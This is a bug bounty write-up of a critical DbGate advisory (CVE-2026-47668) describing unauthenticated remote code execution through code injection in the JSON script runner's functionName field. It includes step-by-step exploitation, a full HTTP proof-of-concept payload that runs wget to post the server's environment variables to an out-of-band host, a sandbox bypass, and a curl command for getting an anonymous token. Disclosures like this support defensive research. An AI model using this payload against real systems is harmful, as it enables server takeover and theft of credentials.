# DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

DbGate's JSON script runner interpolates the assign command's functionName into generated JavaScript, letting an unauthenticated attacker execute arbitrary code via child_process.fork.

- Payout: Research
- Severity: critical
- Program: DbGate
- Found by: benharvey-sage
- Disclosed: 2026-06-05
- CVE: CVE-2026-47668
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8v3q-9vmx-36vc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8v3q-9vmx-36vc
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:default-creds technique:source-review vuln:auth-bypass vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** POST /runners/start JSON script runner endpoint
**Root cause:** assignCore() concatenates attacker-controlled functionName/variableName directly into generated JavaScript source; the json script path also skips the run-shell-script permission and allowShellScripting checks.
**Steps:**
1. Send `POST /runners/start` with `script.type: "json"` and an assign command.
2. Set `functionName` to `x;process.mainModule.require('child_process').execSync('wget --post-data "$(env 2>1&)" <oob host>');//` so compileShellApiFunctionName yields `dbgateApi.x;...;//`.
3. Generated code `const x = await dbgateApi.x;<payload>;//({});` executes payload; `//` comments out trailing props.
4. Bypass `require = null` via `process.mainModule.require()` or `module.constructor._load()`.
5. If auth is Anonymous (default), obtain token via `POST /auth/login` with `{"amoid":"none"}`.
**How found:** Research direction from an existing nuclei template for DbGate unauth RCE; traced the json script path skipping permission checks and found string-concatenation injection in ScriptWriter.assignCore.
**Exploitation:** Unauthenticated (default Anonymous auth) or any authenticated user posts a crafted JSON script; generated JS runs in a forked Node child process with full built-ins, exfiltrating env via wget POST to attacker host.
**Escalation:** Default Anonymous authProvider makes the authenticated RCE unauthenticated (CVSS 10.0); require=null sandbox bypassed via process.mainModule.require.
**Insight:** When a feature generates source code from user fields, check every interpolated identifier (function/variable names), not just data props; also check whether alternate script types bypass permission gates that the primary path enforces.

## Proof of concept (copied exactly from the original report)

**POST /runners/start injection payload**

```
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json

{
  "script": {
    "type": "json",
    "commands": [
      {
        "type": "assign",
        "variableName": "x",
        "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
        "props": {}
      }
    ],
    "packageNames": []
  }
}
```

**curl to obtain anonymous token**

```
curl -sk -H "Content-Type: application/json"   -d '{"amoid":"none"}'   <dbgate-instance>:3000/auth/login
```

